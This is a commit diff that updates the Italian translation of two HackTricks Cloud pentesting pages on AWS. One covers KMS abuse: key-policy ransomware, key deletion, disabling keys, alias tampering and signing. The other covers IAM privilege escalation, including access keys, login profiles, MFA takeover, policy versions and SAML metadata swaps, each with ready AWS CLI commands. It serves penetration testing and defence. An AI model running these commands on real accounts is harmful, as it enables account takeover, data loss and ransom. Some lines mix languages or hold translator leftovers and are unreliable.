mirror of
https://github.com/HackTricks-wiki/hacktricks-cloud.git
synced 2026-07-29 07:00:29 -07:00
Translated ['', 'src/pentesting-cloud/aws-security/aws-privilege-escalat
This commit is contained in:
+28
-28
@@ -4,7 +4,7 @@
|
||||
|
||||
## KMS
|
||||
|
||||
Per maggiori informazioni consulta:
|
||||
Per ulteriori informazioni consulta:
|
||||
|
||||
{{#ref}}
|
||||
../../aws-services/aws-kms-enum.md
|
||||
@@ -14,13 +14,13 @@ Per maggiori informazioni consulta:
|
||||
|
||||
`fileb://` and `file://` are URI schemes used in AWS CLI commands to specify the path to local files:
|
||||
|
||||
- `fileb://:` Legge il file in modalità binaria, comunemente usato per file non testuali.
|
||||
- `file://:` Legge il file in modalità testo, tipicamente usato per file di testo semplici, script o JSON che non richiedono requisiti di codifica speciali.
|
||||
- `fileb://:` Legge il file in modalità binaria, comunemente usato per file non di testo.
|
||||
- `file://:` Legge il file in modalità testo, tipicamente usato per file di testo semplice, script o JSON che non hanno requisiti di codifica speciali.
|
||||
|
||||
> [!TIP]
|
||||
> Nota che se vuoi decriptare dei dati contenuti in un file, il file deve contenere i dati binari, non dati codificati in base64. (fileb://)
|
||||
> Nota che se vuoi decrypt dei dati all'interno di un file, il file deve contenere i dati binari, non dati codificati in base64. (fileb://)
|
||||
|
||||
- Usando una chiave **simmetrica**
|
||||
- Using a **symmetric** key
|
||||
```bash
|
||||
# Encrypt data
|
||||
aws kms encrypt \
|
||||
@@ -60,14 +60,14 @@ aws kms decrypt \
|
||||
```
|
||||
### KMS Ransomware
|
||||
|
||||
Un attacker con accesso privilegiato a KMS potrebbe modificare la KMS policy delle keys e **grant his account access over them**, rimuovendo l'accesso concesso all'account legit.
|
||||
Un attaccante con accesso privilegiato a KMS potrebbe modificare la KMS policy delle chiavi e **concedere al suo account l'accesso su di esse**, rimuovendo l'accesso concesso all'account legittimo.
|
||||
|
||||
Di conseguenza, gli utenti dell'account legit non saranno in grado di accedere a nessuna informazione di qualsiasi servizio crittografato con quelle keys, creando un ransomware semplice ma efficace sull'account.
|
||||
Gli utenti dell'account legittimo non potranno accedere alle informazioni di alcun servizio che siano state cifrate con quelle chiavi, creando un ransomware semplice ma efficace contro l'account.
|
||||
|
||||
> [!WARNING]
|
||||
> Nota che **AWS managed keys aren't affected** da questo attacco, solo **Customer managed keys**.
|
||||
> Nota che **AWS managed keys aren't affected** da questo attacco; sono interessate solo le **Customer managed keys**.
|
||||
|
||||
> Si noti inoltre la necessità di usare il parametro **`--bypass-policy-lockout-safety-check`** (la mancanza di questa opzione nella web console rende questo attacco possibile solo dalla CLI).
|
||||
> Nota anche la necessità di usare il parametro **`--bypass-policy-lockout-safety-check`** (l'assenza di questa opzione nella web console rende questo attacco possibile solo dalla CLI).
|
||||
```bash
|
||||
# Force policy change
|
||||
aws kms put-key-policy --key-id mrk-c10357313a644d69b4b28b88523ef20c \
|
||||
@@ -92,28 +92,28 @@ aws kms put-key-policy --key-id mrk-c10357313a644d69b4b28b88523ef20c \
|
||||
}
|
||||
```
|
||||
> [!CAUTION]
|
||||
> Nota che se cambi quella policy e concedi accesso solo a un account esterno, e poi da quell'account esterno provi a impostare una nuova policy per **give the access back to original account, you won't be able cause the Put Polocy action cannot be performed from a cross account**.
|
||||
> Nota che se modifichi quella policy e concedi l'accesso solo a un external account, e poi da quell'external account provi a impostare una nuova policy per **restituire l'accesso all'account originale, non ci riuscirai perché l'azione Put Polocy non può essere eseguita da un cross account**.
|
||||
|
||||
<figure><img src="../../../images/image (77).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
### Generico KMS Ransomware
|
||||
### Generic KMS Ransomware
|
||||
|
||||
Esiste un altro modo per eseguire un KMS Ransomware globale, che comporterebbe i seguenti passaggi:
|
||||
There is another way to perform a global KMS Ransomware, which would involve the following steps:
|
||||
|
||||
- Crea una nuova **key with a key material** importata dall'attaccante
|
||||
- **Re-encrypt older data** dei dati della vittima cifrati con la versione precedente usando quella nuova.
|
||||
- **Delete the KMS key**
|
||||
- Ora solo l'attaccante, che possiede il originale key material, potrebbe essere in grado di decifrare i dati cifrati
|
||||
- Crea una nuova **chiave con materiale della chiave** importato dall'attaccante
|
||||
- **Riencriptare i dati più vecchi** della vittima, originariamente crittografati con la versione precedente, con quella nuova.
|
||||
- **Elimina la KMS key**
|
||||
- Ora solo l'attaccante, che possiede il materiale originale della chiave, potrebbe essere in grado di decrittografare i dati crittografati
|
||||
|
||||
### Eliminare chiavi tramite kms:DeleteImportedKeyMaterial
|
||||
### Delete Keys via kms:DeleteImportedKeyMaterial
|
||||
|
||||
Con il permesso `kms:DeleteImportedKeyMaterial`, un attore può eliminare il key material importato dalle CMKs con `Origin=EXTERNAL` (CMKs che hanno imperted il loro key material), rendendole incapaci di decifrare i dati. Questa azione è distruttiva e irreversibile a meno che non venga re-importato del materiale compatibile, permettendo a un attaccante di causare effettivamente una perdita di dati simile a ransomware rendendo le informazioni cifrate permanentemente inaccessibili.
|
||||
Con il permesso `kms:DeleteImportedKeyMaterial`, un attore può cancellare il materiale della chiave importato dalle CMKs con `Origin=EXTERNAL` (CMKs che hanno importato il loro materiale della chiave), rendendole incapaci di decrittografare i dati. Questa azione è distruttiva e irreversibile a meno che non venga re-importato materiale compatibile, consentendo a un attaccante di causare di fatto una perdita di dati simile a ransomware rendendo le informazioni criptate permanentemente inaccessibili.
|
||||
```bash
|
||||
aws kms delete-imported-key-material --key-id <Key_ID>
|
||||
```
|
||||
### Distruggere le chiavi
|
||||
### Distruggere keys
|
||||
|
||||
Distruggendo le chiavi è possibile eseguire un DoS.
|
||||
Distruggendo keys è possibile effettuare un DoS.
|
||||
```bash
|
||||
# Schedule the destoy of a key (min wait time is 7 days)
|
||||
aws kms schedule-key-deletion \
|
||||
@@ -124,7 +124,7 @@ aws kms schedule-key-deletion \
|
||||
> Nota che AWS ora **impedisce che le azioni precedenti vengano eseguite da un cross account:**
|
||||
|
||||
### Modificare o eliminare Alias
|
||||
Questo attacco cancella o reindirizza gli alias di AWS KMS, interrompendo la risoluzione delle chiavi e causando guasti immediati in qualsiasi servizio che dipenda da quegli alias, provocando un denial-of-service. Con permessi come `kms:DeleteAlias` o `kms:UpdateAlias` un attaccante può rimuovere o ripuntare gli alias e compromettere le operazioni crittografiche (es., encrypt, describe). Qualsiasi servizio che faccia riferimento all'alias invece che all'ID della chiave può fallire fino a quando l'alias non viene ripristinato o rimappato correttamente.
|
||||
Questo attacco elimina o reindirizza gli alias di AWS KMS, interrompendo la risoluzione delle chiavi e causando malfunzionamenti immediati in qualsiasi servizio che si appoggi a quegli alias, risultando in un denial-of-service. Con permessi come `kms:DeleteAlias` o `kms:UpdateAlias`, un attaccante può rimuovere o ripuntare alias e interrompere le operazioni crittografiche (e.g., encrypt, describe). Qualsiasi servizio che faccia riferimento all'alias invece che al key ID potrebbe non funzionare finché l'alias non viene ripristinato o correttamente rimappato.
|
||||
```bash
|
||||
# Delete Alias
|
||||
aws kms delete-alias --alias-name alias/<key_alias>
|
||||
@@ -134,8 +134,8 @@ aws kms update-alias \
|
||||
--alias-name alias/<key_alias> \
|
||||
--target-key-id <new_target_key>
|
||||
```
|
||||
### Cancel Key Deletion
|
||||
Con permessi come `kms:CancelKeyDeletion` e `kms:EnableKey`, un attore può annullare la cancellazione programmata di una customer master key di AWS KMS e successivamente riabilitarla. In questo modo si recupera la chiave (inizialmente nello stato Disabled) e si ripristina la sua capacità di decifrare dati precedentemente protetti, permettendo l'exfiltration.
|
||||
### Annullare l'eliminazione della chiave
|
||||
Con permessi come `kms:CancelKeyDeletion` e `kms:EnableKey`, un attore può annullare la cancellazione programmata di una customer master key di AWS KMS e successivamente riattivarla. In questo modo recupera la chiave (inizialmente nello stato Disabled) e ne ripristina la capacità di decrittare dati precedentemente protetti, consentendo l'esfiltrazione.
|
||||
```bash
|
||||
# Firts cancel de deletion
|
||||
aws kms cancel-key-deletion \
|
||||
@@ -146,13 +146,13 @@ aws kms enable-key \
|
||||
--key-id <Key_ID>
|
||||
```
|
||||
### Disabilitare la chiave
|
||||
Con il permesso `kms:DisableKey`, un attore può disabilitare una AWS KMS customer master key, impedendone l'uso per la cifratura o la decifratura. Questo interrompe l'accesso per qualsiasi servizio che dipende da quella CMK e può causare interruzioni immediate o un denial-of-service fino a quando la chiave non viene riattivata.
|
||||
Con il permesso `kms:DisableKey`, un attore può disabilitare una chiave master del cliente (CMK) di AWS KMS, impedendone l'uso per la crittografia o la decrittografia. Ciò interrompe l'accesso per qualsiasi servizio che dipenda da quella CMK e può causare interruzioni immediate o un denial-of-service fino a quando la chiave non viene riattivata.
|
||||
```bash
|
||||
aws kms disable-key \
|
||||
--key-id <key_id>
|
||||
```
|
||||
### Derivazione del segreto condiviso
|
||||
Con il permesso `kms:DeriveSharedSecret`, un attore può usare una chiave privata custodita in KMS insieme a una chiave pubblica fornita dall'utente per calcolare un segreto condiviso ECDH.
|
||||
### Derivare un segreto condiviso
|
||||
Con il permesso `kms:DeriveSharedSecret`, un attore può usare una chiave privata detenuta in KMS insieme a una chiave pubblica fornita dall'utente per calcolare un segreto condiviso ECDH.
|
||||
```bash
|
||||
aws kms derive-shared-secret \
|
||||
--key-id <key_id> \
|
||||
@@ -160,7 +160,7 @@ aws kms derive-shared-secret \
|
||||
--key-agreement-algorithm <algorithm>
|
||||
```
|
||||
### Impersonation via kms:Sign
|
||||
Con il permesso `kms:Sign`, un attore può utilizzare una CMK memorizzata in KMS per firmare criptograficamente i dati senza esporre la chiave privata, generando firme valide che possono consentire impersonation o autorizzare azioni dannose.
|
||||
Con il permesso `kms:Sign`, un attore può usare una CMK conservata in KMS per firmare crittograficamente dati senza esporre la chiave privata, generando firme valide che possono consentire impersonation o autorizzare azioni dannose.
|
||||
```bash
|
||||
aws kms sign \
|
||||
--key-id <key-id> \
|
||||
@@ -169,7 +169,7 @@ aws kms sign \
|
||||
--message-type RAW
|
||||
```
|
||||
### DoS with Custom Key Stores
|
||||
Con permessi come `kms:DeleteCustomKeyStore`, `kms:DisconnectCustomKeyStore`, o `kms:UpdateCustomKeyStore`, un attore può modificare, scollegare o eliminare un AWS KMS Custom Key Store (CKS), rendendo le sue chiavi master inutilizzabili. Questo interrompe le operazioni di crittografia, decrittografia e di firma per qualunque servizio che si affidi a quelle chiavi e può causare un immediato denial-of-service. È quindi fondamentale limitare e monitorare tali permessi.
|
||||
Con permessi come `kms:DeleteCustomKeyStore`, `kms:DisconnectCustomKeyStore` o `kms:UpdateCustomKeyStore`, un attore può modificare, scollegare o eliminare un AWS KMS Custom Key Store (CKS), rendendo le chiavi master inutilizzabili. Questo interrompe le operazioni di cifratura, decifratura e firma per qualsiasi servizio che dipenda da quelle chiavi e può causare un immediato denial-of-service. Limitare e monitorare tali permessi è quindi fondamentale.
|
||||
```bash
|
||||
aws kms delete-custom-key-store --custom-key-store-id <CUSTOM_KEY_STORE_ID>
|
||||
|
||||
|
||||
+57
-40
@@ -4,7 +4,7 @@
|
||||
|
||||
## IAM
|
||||
|
||||
Per maggiori informazioni su IAM, consulta:
|
||||
Per maggiori informazioni su IAM consulta:
|
||||
|
||||
{{#ref}}
|
||||
../../aws-services/aws-iam-enum.md
|
||||
@@ -12,7 +12,7 @@ Per maggiori informazioni su IAM, consulta:
|
||||
|
||||
### **`iam:CreatePolicyVersion`**
|
||||
|
||||
Consente di creare una nuova versione di una policy IAM, aggirando la necessità del permesso `iam:SetDefaultPolicyVersion` usando il flag `--set-as-default`. Questo consente di definire permessi personalizzati.
|
||||
Concede la possibilità di creare una nuova versione di una IAM policy, aggirando la necessità della permission `iam:SetDefaultPolicyVersion` utilizzando il flag `--set-as-default`. Questo permette di definire permessi personalizzati.
|
||||
|
||||
**Exploit Command:**
|
||||
```bash
|
||||
@@ -23,29 +23,48 @@ aws iam create-policy-version --policy-arn <target_policy_arn> \
|
||||
|
||||
### **`iam:SetDefaultPolicyVersion`**
|
||||
|
||||
Consente di cambiare la versione predefinita di una policy IAM con un'altra versione esistente, potenzialmente aumentando i privilegi se la nuova versione concede più permessi.
|
||||
Consente di cambiare la versione predefinita di una IAM policy con un'altra versione esistente, potenzialmente aumentando i privilegi se la nuova versione concede più permessi.
|
||||
|
||||
**Bash Command:**
|
||||
**Comando Bash:**
|
||||
```bash
|
||||
aws iam set-default-policy-version --policy-arn <target_policy_arn> --version-id v2
|
||||
```
|
||||
**Impatto:** Escalation di privilegi indiretta abilitando permessi aggiuntivi.
|
||||
**Impatto:** Escalation di privilegi indiretta consentendo più permessi.
|
||||
|
||||
### **`iam:CreateAccessKey`**
|
||||
### **`iam:CreateAccessKey`, (`iam:DeleteAccessKey`)**
|
||||
|
||||
Consente di creare access key ID e secret access key per un altro utente, portando a una potenziale escalation di privilegi.
|
||||
Permette di creare access key ID e secret access key per un altro utente, con possibile escalation di privilegi.
|
||||
|
||||
**Exploit:**
|
||||
```bash
|
||||
aws iam create-access-key --user-name <target_user>
|
||||
```
|
||||
**Impact:** Escalation di privilegi diretta assumendo i permessi estesi di un altro utente.
|
||||
**Impatto:** Escalation diretta dei privilegi assumendo i permessi estesi di un altro utente.
|
||||
|
||||
Nota che un utente può avere al massimo 2 access keys; quindi se ha già 2 access keys sarà necessario il permesso `iam:DeleteAccessKey` per eliminarne una e poterne creare una nuova:
|
||||
```bash
|
||||
aws iam delete-access-key --uaccess-key-id <key_id>
|
||||
```
|
||||
### **`iam:CreateVirtualMFADevice` + `iam:EnableMFADevice`**
|
||||
|
||||
Se puoi creare un nuovo virtual MFA device e abilitarlo su un altro utente, puoi effettivamente registrare il tuo MFA per quell'utente e poi richiedere una sessione autenticata con MFA usando le sue credenziali.
|
||||
|
||||
**Exploit:**
|
||||
```bash
|
||||
# Create a virtual MFA device (this returns the serial and the base32 seed)
|
||||
aws iam create-virtual-mfa-device --virtual-mfa-device-name <mfa_name>
|
||||
|
||||
# Generate 2 consecutive TOTP codes from the seed, then enable it for the user
|
||||
aws iam enable-mfa-device --user-name <target_user> --serial-number <serial> \
|
||||
--authentication-code1 <code1> --authentication-code2 <code2>
|
||||
```
|
||||
**Impact:** Escalation diretta dei privilegi acquisendo il controllo della registrazione MFA di un utente (e poi usando i suoi permessi).
|
||||
|
||||
### **`iam:CreateLoginProfile` | `iam:UpdateLoginProfile`**
|
||||
|
||||
Consente di creare o aggiornare un login profile, compresa l'impostazione di password per l'accesso alla console AWS, con conseguente escalation di privilegi diretta.
|
||||
Consente di creare o aggiornare un login profile, inclusa l'impostazione delle password per l'accesso alla console AWS, portando a un'escalation diretta dei privilegi.
|
||||
|
||||
**Exploit per la creazione:**
|
||||
**Exploit for Creation:**
|
||||
```bash
|
||||
aws iam create-login-profile --user-name target_user --no-password-reset-required \
|
||||
--password '<password>'
|
||||
@@ -55,35 +74,35 @@ aws iam create-login-profile --user-name target_user --no-password-reset-require
|
||||
aws iam update-login-profile --user-name target_user --no-password-reset-required \
|
||||
--password '<password>'
|
||||
```
|
||||
**Impact:** Escalation diretta dei privilegi effettuando l'accesso come utente "qualsiasi".
|
||||
**Impatto:** Escalation diretta dei privilegi accedendo come "any" user.
|
||||
|
||||
### **`iam:UpdateAccessKey`**
|
||||
|
||||
Consente di abilitare una access key disabilitata, potenzialmente permettendo accessi non autorizzati se l'attaccante è in possesso della access key disabilitata.
|
||||
Consente di abilitare una disabled access key, potenzialmente causando accesso non autorizzato se l'attacker è in possesso della disabled access key.
|
||||
|
||||
**Exploit:**
|
||||
```bash
|
||||
aws iam update-access-key --access-key-id <ACCESS_KEY_ID> --status Active --user-name <username>
|
||||
```
|
||||
**Impatto:** Escalation di privilegi diretta riattivando access keys.
|
||||
**Impatto:** Escalazione diretta dei privilegi riattivando access keys.
|
||||
|
||||
### **`iam:CreateServiceSpecificCredential` | `iam:ResetServiceSpecificCredential`**
|
||||
|
||||
Consente di generare o reimpostare credenziali per servizi AWS specifici (es. CodeCommit, Amazon Keyspaces), ereditando i permessi dell'utente associato.
|
||||
Consente di generare o reimpostare credenziali per servizi AWS specifici (es., CodeCommit, Amazon Keyspaces), ereditando i permessi dell'utente associato.
|
||||
|
||||
**Exploit per la creazione:**
|
||||
```bash
|
||||
aws iam create-service-specific-credential --user-name <username> --service-name <service>
|
||||
```
|
||||
**Exploit per il reset:**
|
||||
**Exploit per il Reset:**
|
||||
```bash
|
||||
aws iam reset-service-specific-credential --service-specific-credential-id <credential_id>
|
||||
```
|
||||
**Impatto:** Escalation di privilegi diretta sulle autorizzazioni di servizio dell'utente.
|
||||
**Impatto:** Escalation diretta dei privilegi all'interno delle autorizzazioni di servizio dell'utente.
|
||||
|
||||
### **`iam:AttachUserPolicy` || `iam:AttachGroupPolicy`**
|
||||
|
||||
Consente di allegare policy a utenti o gruppi, escalando direttamente i privilegi ereditando le autorizzazioni della policy allegata.
|
||||
Consente di allegare policy a utenti o gruppi, escalando direttamente i privilegi ereditando i permessi della policy allegata.
|
||||
|
||||
**Exploit per l'utente:**
|
||||
```bash
|
||||
@@ -93,13 +112,13 @@ aws iam attach-user-policy --user-name <username> --policy-arn "<policy_arn>"
|
||||
```bash
|
||||
aws iam attach-group-policy --group-name <group_name> --policy-arn "<policy_arn>"
|
||||
```
|
||||
**Impatto:** Escalation di privilegi diretta a qualsiasi cosa la policy conceda.
|
||||
**Impatto:** Escalation di privilegi diretta verso tutto ciò che la policy concede.
|
||||
|
||||
### **`iam:AttachRolePolicy`,** ( `sts:AssumeRole`|`iam:createrole`) | **`iam:PutUserPolicy` | `iam:PutGroupPolicy` | `iam:PutRolePolicy`**
|
||||
|
||||
Permette di allegare o aggiungere policy a ruoli, utenti o gruppi, consentendo un'escalation di privilegi diretta concedendo permessi aggiuntivi.
|
||||
Permette di allegare o inserire policy a ruoli, utenti o gruppi, consentendo un'escalation di privilegi diretta tramite la concessione di permessi aggiuntivi.
|
||||
|
||||
**Exploit per il ruolo:**
|
||||
**Exploit per ruolo:**
|
||||
```bash
|
||||
aws iam attach-role-policy --role-name <role_name> --policy-arn "<policy_arn>"
|
||||
```
|
||||
@@ -114,9 +133,7 @@ aws iam put-group-policy --group-name <group_name> --policy-name "<policy_name>"
|
||||
aws iam put-role-policy --role-name <role_name> --policy-name "<policy_name>" \
|
||||
--policy-document file:///path/to/policy.json
|
||||
```
|
||||
Non vedo il contenuto da tradurre. Per favore incolla il testo del file src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-iam-privesc/README.md qui.
|
||||
|
||||
Tradurrò in italiano mantenendo intatti markdown, tag HTML, link, path, codice, nomi tecnici (es. aws, lambda, pentesting) e le altre eccezioni che hai indicato.
|
||||
Puoi usare una policy come:
|
||||
```json
|
||||
{
|
||||
"Version": "2012-10-17",
|
||||
@@ -129,13 +146,13 @@ Tradurrò in italiano mantenendo intatti markdown, tag HTML, link, path, codice,
|
||||
]
|
||||
}
|
||||
```
|
||||
**Impatto:** Escalation diretta dei privilegi aggiungendo permessi tramite policy.
|
||||
**Impatto:** Escalation di privilegi diretta aggiungendo permessi tramite policy.
|
||||
|
||||
### **`iam:AddUserToGroup`**
|
||||
|
||||
Consente di aggiungere se stessi a un gruppo IAM, escalando i privilegi ereditando i permessi del gruppo.
|
||||
Permette di aggiungersi a un gruppo IAM, escalando i privilegi ereditando i permessi del gruppo.
|
||||
|
||||
**Sfruttamento:**
|
||||
**Exploit:**
|
||||
```bash
|
||||
aws iam add-user-to-group --group-name <group_name> --user-name <username>
|
||||
```
|
||||
@@ -143,14 +160,14 @@ aws iam add-user-to-group --group-name <group_name> --user-name <username>
|
||||
|
||||
### **`iam:UpdateAssumeRolePolicy`**
|
||||
|
||||
Consente di alterare il documento assume role policy di un ruolo, consentendo l'assunzione del ruolo e delle autorizzazioni associate.
|
||||
Permette di modificare il documento della policy di assunzione del ruolo (assume role policy) di un ruolo, consentendo l'assunzione del ruolo e i permessi associati.
|
||||
|
||||
**Exploit:**
|
||||
**Sfruttamento:**
|
||||
```bash
|
||||
aws iam update-assume-role-policy --role-name <role_name> \
|
||||
--policy-document file:///path/to/assume/role/policy.json
|
||||
```
|
||||
Quando la policy è la seguente, che dà all'utente il permesso di assumere il ruolo:
|
||||
Quando la policy è simile alla seguente, che concede all'utente il permesso di assumere il ruolo:
|
||||
```json
|
||||
{
|
||||
"Version": "2012-10-17",
|
||||
@@ -165,17 +182,17 @@ Quando la policy è la seguente, che dà all'utente il permesso di assumere il r
|
||||
]
|
||||
}
|
||||
```
|
||||
**Impatto:** Escalation di privilegi diretta assumendo i permessi di qualsiasi ruolo.
|
||||
**Impatto:** Escalation diretta dei privilegi assumendo i permessi di qualsiasi ruolo.
|
||||
|
||||
### **`iam:UploadSSHPublicKey` || `iam:DeactivateMFADevice`**
|
||||
|
||||
Consente di caricare una chiave pubblica SSH per l'autenticazione a CodeCommit e di disattivare dispositivi MFA, portando a una possibile escalation di privilegi indiretta.
|
||||
Consente di caricare una chiave pubblica SSH per l'autenticazione a CodeCommit e di disattivare dispositivi MFA, con possibile escalation di privilegi indiretta.
|
||||
|
||||
**Exploit for SSH Key Upload:**
|
||||
```bash
|
||||
aws iam upload-ssh-public-key --user-name <username> --ssh-public-key-body <key_body>
|
||||
```
|
||||
**Exploit per la disattivazione di MFA:**
|
||||
**Exploit per MFA Deactivation:**
|
||||
```bash
|
||||
aws iam deactivate-mfa-device --user-name <username> --serial-number <serial_number>
|
||||
```
|
||||
@@ -183,20 +200,20 @@ aws iam deactivate-mfa-device --user-name <username> --serial-number <serial_num
|
||||
|
||||
### **`iam:ResyncMFADevice`**
|
||||
|
||||
Permette la risincronizzazione di un dispositivo MFA, potenzialmente causando un'escalation di privilegi indiretta tramite la manipolazione della protezione MFA.
|
||||
Consente la risincronizzazione di un dispositivo MFA, potenzialmente portando a un'escalation di privilegi indiretta manipolando la protezione MFA.
|
||||
|
||||
**Comando Bash:**
|
||||
```bash
|
||||
aws iam resync-mfa-device --user-name <username> --serial-number <serial_number> \
|
||||
--authentication-code1 <code1> --authentication-code2 <code2>
|
||||
```
|
||||
**Impatto:** Escalation indiretta dei privilegi aggiungendo o manipolando dispositivi MFA.
|
||||
**Impatto:** Escalation dei privilegi indiretta aggiungendo o manipolando dispositivi MFA.
|
||||
|
||||
### `iam:UpdateSAMLProvider`, `iam:ListSAMLProviders`, (`iam:GetSAMLProvider`)
|
||||
|
||||
Con queste autorizzazioni puoi **modificare i metadati XML della connessione SAML**. Poi, potresti abusare della **SAML federation** per **login** con qualsiasi **ruolo che si fida di essa**.
|
||||
Con questi permessi puoi **cambiare i metadata XML della connessione SAML**. Poi, potresti abusare della **SAML federation** per **login** con qualsiasi **role that is trusting** it.
|
||||
|
||||
Nota che facendo questo **gli utenti legittimi non saranno in grado di effettuare il login**. Tuttavia, potresti ottenere l'XML, quindi puoi sostituirlo con il tuo, effettuare il login e ripristinare quello precedente.
|
||||
Nota che facendo questo **legit users won't be able to login**. Tuttavia, potresti ottenere l'XML, così puoi mettere il tuo, login e ripristinare la configurazione precedente
|
||||
```bash
|
||||
# List SAMLs
|
||||
aws iam list-saml-providers
|
||||
@@ -213,11 +230,11 @@ aws iam update-saml-provider --saml-metadata-document <value> --saml-provider-ar
|
||||
aws iam update-saml-provider --saml-metadata-document <previous-xml> --saml-provider-arn <arn>
|
||||
```
|
||||
> [!NOTE]
|
||||
> TODO: Uno strumento in grado di generare i metadata SAML e di eseguire il login con un ruolo specificato
|
||||
> TODO: Uno strumento in grado di generare i SAML metadata e fare il login con un ruolo specificato
|
||||
|
||||
### `iam:UpdateOpenIDConnectProviderThumbprint`, `iam:ListOpenIDConnectProviders`, (`iam:`**`GetOpenIDConnectProvider`**)
|
||||
|
||||
(Non sicuro su questo) Se un attacker ha queste **permissions**, potrebbe aggiungere un nuovo **Thumbprint** per riuscire ad effettuare il login in tutti i ruoli che si fidano del provider.
|
||||
(Da verificare) Se un attacker ha queste **permissions** potrebbe aggiungere un nuovo **Thumbprint** per riuscire a fare login in tutti i ruoli che si fidano del provider.
|
||||
```bash
|
||||
# List providers
|
||||
aws iam list-open-id-connect-providers
|
||||
@@ -228,7 +245,7 @@ aws iam update-open-id-connect-provider-thumbprint --open-id-connect-provider-ar
|
||||
```
|
||||
### `iam:PutUserPermissionsBoundary`
|
||||
|
||||
Questa permission consente a un attacker di aggiornare il permissions boundary di un user, potenzialmente escalando i suoi privileges e permettendogli di eseguire azioni che normalmente sono ristrette dalle permissions esistenti.
|
||||
Questa permission permette a un attacker di aggiornare il permissions boundary di un utente, potenzialmente escalating i suoi privileges e consentendogli di eseguire azioni normalmente limitate dalle sue existing permissions.
|
||||
```bash
|
||||
aws iam put-user-permissions-boundary \
|
||||
--user-name <nombre_usuario> \
|
||||
@@ -251,7 +268,7 @@ Un ejemplo de una política que no aplica ninguna restricción es:
|
||||
```
|
||||
### `iam:PutRolePermissionsBoundary`
|
||||
|
||||
Un soggetto con iam:PutRolePermissionsBoundary può impostare un permissions boundary su un ruolo esistente. Il rischio emerge quando qualcuno con questa autorizzazione modifica il boundary di un ruolo: può restringere in modo improprio le operazioni (causando interruzioni del servizio) oppure, se applica un boundary permissivo, ampliare di fatto ciò che il ruolo può fare e permettere un'escalation dei privilegi.
|
||||
Un attore con iam:PutRolePermissionsBoundary può impostare un permissions boundary su un role esistente. Il rischio si presenta quando qualcuno con questa autorizzazione modifica il boundary di un role: può limitare in modo improprio le operazioni (causando interruzioni del servizio) oppure, se appone un boundary permissivo, ampliare effettivamente ciò che il role può fare e ottenere escalation di privilegi.
|
||||
```bash
|
||||
aws iam put-role-permissions-boundary \
|
||||
--role-name <Role_Name> \
|
||||
|
||||
Reference in New Issue
Block a user